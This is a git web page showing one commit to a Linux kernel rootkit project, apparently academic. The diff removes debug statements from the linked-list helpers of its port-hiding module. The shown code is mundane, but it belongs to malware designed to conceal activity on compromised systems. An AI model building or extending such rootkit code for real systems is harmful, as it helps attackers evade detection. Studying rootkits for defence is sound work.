linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 2ffbade4e923514bc21809da28f4ba51a2324ca5
parent 8ab78daaeef61feac7a3407af43b6ecd4f2c9788
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 10 Jan 2021 22:01:11 +0100

removes redundant debug statements

Diffstat:
Msrc/porthide.c | 5+----
1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/src/porthide.c b/src/porthide.c @@ -101,10 +101,8 @@ find_lport_in_list(lport_list_t_ptr head, lport_t lport) { lport_list_t_ptr i; for (i = head; i; i = i->next) - if (i->lport == lport) { - DEBUG_INFO("found port %d\n", lport); + if (i->lport == lport) return i; - } return NULL; } @@ -133,7 +131,6 @@ remove_lport_from_list(lport_list_t_ptr list, lport_t lport) lport_list_t_ptr i = find_lport_in_list(list, lport), ret = NULL; if (i && (i->lport != -1)) { - DEBUG_INFO("remove_lport_from_list: removing lport %d\n", lport); if (i->next) i->next->prev = i->prev; else